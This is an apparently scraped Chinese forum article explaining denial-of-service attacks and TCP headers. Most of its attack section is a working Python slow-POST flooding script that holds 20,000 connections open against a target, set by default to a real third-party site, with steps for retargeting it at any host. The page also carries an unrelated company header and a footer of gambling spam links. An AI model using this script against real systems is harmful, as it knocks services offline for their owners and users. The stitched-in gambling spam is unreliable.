那曲檬骨新材料有限公司

您好,歡迎來電子發燒友網! ,新用戶?[免費注冊]

您的位置:電子發燒友網>電子百科>網絡>安防及入侵檢測>

dos攻擊原理及攻擊實例

2018年01月17日 15:33 網絡整理 作者: 用戶評論(0

DoS是Denial of Service的簡稱,即拒絕服務,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網絡無法提供正常的服務。最常見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。

DoS攻擊是指故意的攻擊網絡協議實現的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對象的資源,目的是讓目標計算機或網絡無法提供正常的服務或資源訪問,使目標系統服務系統停止響應甚至崩潰,而在此攻擊中并不包括侵入目標服務器或目標網絡設備。這些服務資源包括網絡帶寬,文件系統空間容量,開放的進程或者允許的連接。這種攻擊會導致資源的匱乏,無論計算機的處理速度多快、內存容量多大、網絡帶寬的速度多快都無法避免這種攻擊帶來的后果。

已經有很多介紹DOS(Denial of Service,即拒絕服務)攻擊的文章,但是,多數人還是不知道DOS到底是什么,它到底是怎么實現的。本文主要介紹DOS的機理和常見的實施方法。因前段時間仔細了解了TCP/IP協議以及RFC文檔,有點心得。同時,文中有部分內容參考了Shaft的文章翻譯而得。要想了解DOS攻擊得實現機理,必須對TCP有一定的了解。

1、什么是DOS攻擊

DOS:即Denial Of Service,拒絕服務的縮寫,可不能認為是微軟的dos操作系統了。好象在5·1的時候鬧過這樣的笑話。拒絕服務,就相當于必勝客在客滿的時候不再讓人進去一樣,呵呵,你想吃餡餅,就必須在門口等吧。DOS攻擊即讓目標機器停止提供服務或資源訪問。

2、有關TCP協議的東西

TCP(transmission control protocol,傳輸控制協議),是用來在不可靠的因特網上提供可靠的、端到端的字節流通訊協議,在RFC793中有正式定義,還有一些解決錯誤的東西在RFC 1122中有記錄,RFC 1323則有TCP的功能擴展。我們常見到的TCP/IP協議中,IP層不保證將數據報正確傳送到目的地,TCP則從本地機器接受用戶的數據流,將其分成不超過64K字節的數據片段,將每個數據片段作為單獨的IP數據包發送出去,最后在目的地機器中再組合成完整的字節流,TCP協議必須保證可靠性。

發送和接收方的TCP傳輸以數據段的形式交換數據,一個數據段包括一個固定的20字節,加上可選部分,后面再跟上數據,TCP協議從發送方傳送一個數據段的時候,還要啟動計時器,當數據段到達目的地后,接收方還要發送回一個數據段,其中有一個確認序號,它等于希望收到的下一個數據段的順序號,如果計時器在確認信息到達前超時了,發送方會重新發送這個數據段。

上面,我們總體上了解一點TCP協議,重要的是要熟悉TCP的數據頭(header)。因為數據流的傳輸最重要的就是header里面的東西,至于發送的數據,只是header附帶上的。客戶端和服務端的服務響應就是同header里面的數據相關,兩端的信息交流和交換是根據header中的內容實施的,因此,要實現DOS,就必須對header中的內容非常熟悉。

dos攻擊原理及攻擊實例

dos攻擊原理:DoS攻擊就是利用合理的服務請求來占用過多的服務資源,從而使合法用戶無法得到服務的響應。(百度百科說的,大概就是這么個意思)。

dos攻擊與ddos攻擊的區別就是,它是一對一的攻擊,而ddos是分布式的攻擊,作為入門,作為菜鳥,我們他媽哪里有那么多肉雞給你用。。。所以不過對付一些帶寬小,內存低,cpu渣的小型web服務器還是ok的。

現在,廢話不多說,本地搭建一個web站點測試一下。

測試地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

測試腳本:網上一堆。給大家轉載一個,如下:

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST=“www.baidu.com”

PAGE=“/index.php”

#---------------------------

buf=(“POST %s HTTP/1.1\r\n”

“Host: %s\r\n”

“Content-Length: 10000000\r\n”

“Cookie: dklkt_dos_test\r\n”

“\r\n” % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print “Send buf OK!,conn=%d\n”%i

socks.append(s)

except Exception,ex:

print “Could not connect to server or send error:%s”%ex

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send(“f”)

#print “send OK!”

except Exception,ex:

print “Send Exception:%s\n”%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

腳本來源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

以上是一個python腳本。

HOST=“www.baidu.com”

PAGE=“/index.php”

我們要改的是這兩處地方

改為:

HOST=“192.168.1.110”//你要擼的主機ip地址/域名

PAGE=“/cloudmanage/admin.php”//你要擼的頁面

cmd命令行下執行腳本

非常好我支持^.^

(2545) 82.8%

不好我反對

(527) 17.2%

( 發表人:龔婷 )

      發表評論

      用戶評論
      評價:好評中評差評

      發表評論,獲取積分! 請遵守相關規定!

      ?
      逍遥坊百家乐的玩法技巧和规则 | 百家乐园云鼎赌场娱乐网规则 | 24山吉凶| 百家乐赌场网| 大发888官网df888| 百家乐官网视频游戏双扣| 百家乐官网真人游戏娱乐平台| 澳门百家乐鸿福厅| 网上百家乐游戏玩法| 百家乐官方网站| 网上百家乐官网真的假| 百家乐官网代打公司| 永利高百家乐官网会员| 百家乐官网不锈钢| 威尼斯人娱乐场有什么玩| 易盈国际娱乐城| 五张百家乐官网的玩法技巧和规则| 百家乐打庄技巧| 太阳城会员| 滨海湾百家乐官网娱乐城| 百家乐视频游戏视频| 百家乐过滤| 百家乐官网硬币打法| 百家乐有看牌器吗| 大发888娱乐场东南网| 百家乐官网软件稳赚| 破解百家乐游戏机| 耒阳市| 百家乐作弊内幕| 大发888娱乐城 真钱| 百家乐官网百姓话题| 百家乐科学| 阿巴嘎旗| 百家乐庄闲最佳打法| 大发888开户,| 百家乐官网操作技巧| 大发888娱乐场1888| 澳门百家乐官网走势图怎么看 | 皇冠体育| 2024年九宫八卦吉位| 百家乐发牌盒子|